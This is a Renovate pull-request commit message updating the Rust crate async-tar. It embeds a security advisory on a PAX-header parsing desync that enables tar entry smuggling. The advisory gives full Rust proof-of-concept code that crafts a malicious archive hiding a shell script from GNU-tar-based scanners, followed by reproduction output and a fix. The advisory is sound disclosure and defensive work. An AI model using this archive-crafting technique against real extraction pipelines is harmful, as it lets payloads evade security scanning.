renovate[bot] a1230fc584 Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623) ... This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [async-tar](https://redirect.github.com/dignifiedquire/async-tar) | workspace.dependencies | minor | `0.5.1` → `0.6.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/15138) for more information. --- ### async-tar PAX extension-header desync enables tar entry/content smuggling [CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) / [GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) <details> <summary>More information</summary> #### Details ##### Summary `async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g` header) instead of to the next *file* entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary `L` — the stream cursor is advanced by an attacker-chosen amount when the `L` body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. An attacker who can influence a tar stream that an `async-tar` consumer extracts can construct an `x → L → file` sequence whose entry list and on-disk result differ between `async-tar` and a reference parser. This enables content/entry smuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque data is extracted by `async-tar` as a different file with different bytes (e.g. an executable script), and vice versa. Type confusion / improper validation of the specified quantity (size). CWE-20, CWE-843. Severity assessed Medium, consistent with the same defect class in the upstream tar-rs / tokio-tar lineage. ##### Affected code Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and current `main` HEAD. Both lack the extension-header guard. `src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag, commit `45814b19295b7398e119c90c57d8c8bf70a798b6`): ```rust let file_pos = *next; let mut header = current_header.take().unwrap(); // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard let pax = pax_extensions(pax_extensions_data); for extension in pax { let extension = extension.map_err(|_e| other("pax extensions invalid"))?; let Some(key) = extension.key().ok() else { continue }; match key { "size" => { let size_str = extension.value() .map_err(|_e| other("failed to parse pax size as string"))?; size = size_str.parse::<u64>() .map_err(|_e| other("failed to parse pax size"))?; } "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); } "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); } _ => { continue } } } } let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size ``` and a few lines further down the same function: ```rust // Store where the next entry is, rounding up by 512 bytes. let size = (size + 511) & !(512 - 1); *next += size; // cursor advance = mis-applied PAX size ``` The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local extension into `current_pax_extensions` and then calls `poll_next_raw` with `current_pax_extensions.as_deref()` for the *next* raw header. When that next raw header is an intermediary GNU longname (handled by the `is_gnu_longname()` branch a few lines later), the PAX `size` is applied to it, so `*next` advances by the spoofed size rather than the `L` header's own declared size. That is the desync. The buffered PAX records are intended to apply only to the following *file* entry; the missing check is whether the raw header currently being sized is itself an extension header (`L`/`K`/`x`/`g`). ##### Impact Differential extraction / entry smuggling. A consumer that extracts an attacker-influenced tar stream with `async-tar` (e.g. a server endpoint that unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks a remote tarball, an archive-preview/scan pipeline) will: - materialize files / file contents that a POSIX-correct parser (GNU tar, libarchive/bsdtar) does not surface, and - omit or alter files that the reference parser does surface. This breaks any security control that relies on scanning the archive with one parser and extracting with `async-tar`: a malware/secret scanner reading the stream with GNU tar can be made to see only benign data while `async-tar` writes an executable payload to disk. It can also be used to hide entries from audit/inventory tooling, or to write content to a path the reviewer believes holds something else. No attacker-controlled local state is required — only the ability to influence the bytes of the tar stream that the consumer extracts. ##### How input reaches the sink (reachability) The vulnerable path is the library's primary public API for reading archives: `Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next` drives `poll_next_raw` for every header. Any consumer that iterates entries (or calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches the sink with no additional configuration. The `reader` need not be a file — it is any `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor output all qualify. The only precondition for the desync is that the stream contain a PAX local-extension header (`x`) carrying a `size` record immediately followed by an intermediary GNU longname (`L`) before the next file header — a structure the attacker fully controls in the archive bytes. Representative reachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz` bodies, dependency/artifact fetchers that unpack remote tarballs, and archive-scan/preview pipelines. ##### Proof of concept A standalone Rust consumer binary that links the published crates.io `async-tar = "=0.6.0"` (`default-features = false, features = ["runtime-tokio"]`) and runs the real `Archive::new(...).entries()` extraction loop (the same shape used by real downstream server consumers that unpack uploaded tarballs). It reads a tar file and writes each entry to a destination directory, printing the entry list `async-tar` surfaces. A second binary hand-crafts the malicious and benign tar byte streams. Malicious archive geometry (block = 512 bytes): ``` B0 x PAX local-extension header, records declare size=1024 (= 2 blocks) B1 PAX records ("<len> size=1024\n") B2 L GNU longname header, OWN declared size = 512 (= 1 block) B3 longname block #&#8203;1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses) B4 a normal file header "placeholder_A" (size 512) B5 <-- this block IS a valid tar header for the smuggled file "hidden_payload.sh" (size 65) B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n" B7,B8 two zero blocks (EOF) ``` GNU tar honours the `L` header's own declared size (1 block) for the longname and ignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the file, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX `size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor on B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh` body (B6). Tar-builder source (`mktar.rs`): ```rust use std::io::Write; const BLOCK: usize = 512; fn octal(buf: &mut [u8], v: u64) { let s = format!("{:0width$o}", v, width = buf.len() - 1); let b = s.as_bytes(); buf[..b.len()].copy_from_slice(b); buf[b.len()] = 0; } fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] { let mut h = [0u8; BLOCK]; let n = name.len().min(100); h[..n].copy_from_slice(&name[..n]); octal(&mut h[100..108], 0o644); octal(&mut h[108..116], 0); octal(&mut h[116..124], 0); octal(&mut h[124..136], size); octal(&mut h[136..148], 0); h[156] = typeflag; if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); } else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); } for b in &mut h[148..156] { *b = b' '; } let sum: u32 = h.iter().map(|b| *b as u32).sum(); h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes()); h } fn pad(out: &mut Vec<u8>, len: usize) { let rem = len % BLOCK; if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); } } fn pax_record(key: &str, val: &str) -> Vec<u8> { let mut len = key.len() + val.len() + 3; loop { let s = format!("{} {}={}\n", len, key, val); if s.len() == len { return s.into_bytes(); } len = s.len(); } } fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b } fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); } fn build_malicious() -> Vec<u8> { let mut out = Vec::new(); let gnu_name = b"GNU_SEES_THIS.txt"; let spoof = (BLOCK * 2) as u64; let mut recs = Vec::new(); recs.extend(pax_record("size", &spoof.to_string())); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); out.extend_from_slice(&header(b"././@&#8203;LongLink", BLOCK as u64, b'L')); out.extend_from_slice(&name_block(gnu_name)); // B3 out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4 let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec(); out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5 write_block(&mut out, &smuggled_body); // B6 out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn build_benign() -> Vec<u8> { let mut out = Vec::new(); let mut recs = Vec::new(); recs.extend(pax_record("path", "normal_file.txt")); out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x')); write_block(&mut out, &recs); let body = b"plain benign content\n".to_vec(); out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0')); write_block(&mut out, &body); let body2 = b"second benign file\n".to_vec(); out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0')); write_block(&mut out, &body2); out.extend(std::iter::repeat(0u8).take(BLOCK * 2)); out } fn main() { let a: Vec<String> = std::env::args().collect(); let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) }; std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap(); } ``` Consumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop): ```rust use async_tar::Archive; use tokio::fs; use tokio::io::AsyncReadExt; use tokio_stream::StreamExt; #[tokio::main(flavor = "multi_thread", worker_threads = 2)] async fn main() { let args: Vec<String> = std::env::args().collect(); let dest = std::path::PathBuf::from(&args[2]); fs::create_dir_all(&dest).await.unwrap(); let bytes = fs::read(&args[1]).await.unwrap(); let archive = Archive::new(std::io::Cursor::new(bytes)); let mut entries = archive.entries().expect("entries()"); let mut idx = 0usize; while let Some(entry) = entries.next().await { let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } }; let path_raw = file.path().expect("path").into_owned(); let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string(); let hdr_size = file.header().size().unwrap_or(0); let mut out = dest.clone(); for comp in std::path::PathBuf::from(&path_disp).components() { if let std::path::Component::Normal(p) = comp { out.push(p); } } let mut body = Vec::new(); let read = file.read_to_end(&mut body).await.unwrap_or(0); if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; } let _ = fs::write(&out, &body).await; let preview: String = body.iter().take(48) .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect(); println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp); idx += 1; } println!("[async-tar] total entries surfaced: {idx}"); } ``` `Cargo.toml`: ```toml [dependencies] async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] } tokio-stream = "0.1" futures = "0.3" ``` ##### End-to-end reproduction Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by the consumer binary above. Verbatim captured output: ``` $ cargo build --release # links async-tar v0.6.0 from crates.io Compiling async-tar v0.6.0 Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) in 10.12s $ ./target/release/mktar malicious mal.tar wrote 4608 bytes to mal.tar ##### ---- (A) GNU tar reference: list + extract ---- $ gtar tvf mal.tar ; echo "rc=$?" -rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt rc=0 $ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?" rc=0 $ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt hidden_payload.sh ##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header ##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.) ##### ---- (B) async-tar v0.6.0 consumer: extract ---- $ ./target/release/extract mal.tar /tmp/at_mal [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t" [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt #!/bin/sh ##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner ``` Same bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte benign blob; `async-tar` writes a 65-byte executable shell script that the reference parser never exposes as an entry. The smuggled `#!/bin/sh` body is content a GNU-tar-based scanner would never inspect. Negative control — a benign archive (correct PAX usage: `x` applies `path` to the following file, no intermediary `L`): ``` $ ./target/release/mktar benign ben.tar $ gtar tvf ben.tar ; echo "rc=$?" -rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt -rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt rc=0 $ ./target/release/extract ben.tar /tmp/at_ben [async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content." [async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file." [async-tar] total entries surfaced: 2 ``` GNU tar and `async-tar` produce identical entry lists and identical on-disk files. No smuggling. The differential is exclusive to the `x → L → file` desync sequence. ##### Fix Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when the raw header being sized is NOT itself an extension header. Skip the override for GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers, whose body length must come from their own declared size. This mirrors the fix adopted in the upstream tar-rs / tokio-tar lineage for the same defect class. ```rust // when pax extensions are available, the size should come from there. let mut size = header.entry_size()?; // PAX extensions describe the NEXT file entry, not an intermediary // extension header. Applying a buffered PAX `size` to such an intermediary // header (L/K/x/g) advances the stream cursor by the wrong amount and // desyncs the parse. let entry_type = header.entry_type(); let is_extension_header = entry_type.is_gnu_longname() || entry_type.is_gnu_longlink() || entry_type.is_pax_local_extensions() || entry_type.is_pax_global_extensions(); // the size above will be overriden by the pax data if it has a size field. // same for uid and gid, which will be overridden in the header itself. if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) { let pax = pax_extensions(pax_extensions_data); for extension in pax { // unchanged: same size/uid/gid override loop as before } } ``` Fix-verify, captured verbatim. The patched `async-tar` (guard added) re-run against the same `mal.tar`: ``` $ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" } Compiling async-tar v0.6.0 (.../async-tar-patched) Compiling async-tar-consumer v0.1.0 Finished `release` profile [optimized] target(s) $ ./target/release/extract mal.tar /tmp/at_fix [async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................." [async-tar] total entries surfaced: 1 $ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt hidden_payload.sh ``` With the guard, `async-tar`'s view converges with GNU tar's: it surfaces `GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and no longer extracts the smuggled executable script. The benign control still produces the correct two-file output. The desync is eliminated. ##### Fix PR A fix PR adding the `is_extension_header` guard to `poll_next_raw` in `src/archive.rs` is opened from the advisory's temporary private fork against this repository. It carries the diff shown in the **Fix** section above (no behavioural change for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop inheriting a following PAX `size`). ##### Credit Reported by tonghuaroot. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m) - [https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>dignifiedquire/async-tar (async-tar)</summary> ### [`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1) ### [`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0): - Tokio Support [Compare Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0) </details> --- ### Configuration 📅 **Schedule**: (in timezone America/New_York) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev>		2026-07-14 16:21:54 +00:00
..
src	languages: Pin TypeScript to 6.x for typescript-language-server (#60970)	2026-07-14 13:21:41 +00:00
Cargo.toml	Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)	2026-07-14 16:21:54 +00:00
LICENSE-GPL	chore: Change AGPL-licensed crates to GPL (except for collab) (#4231)	2024-01-24 00:26:58 +01:00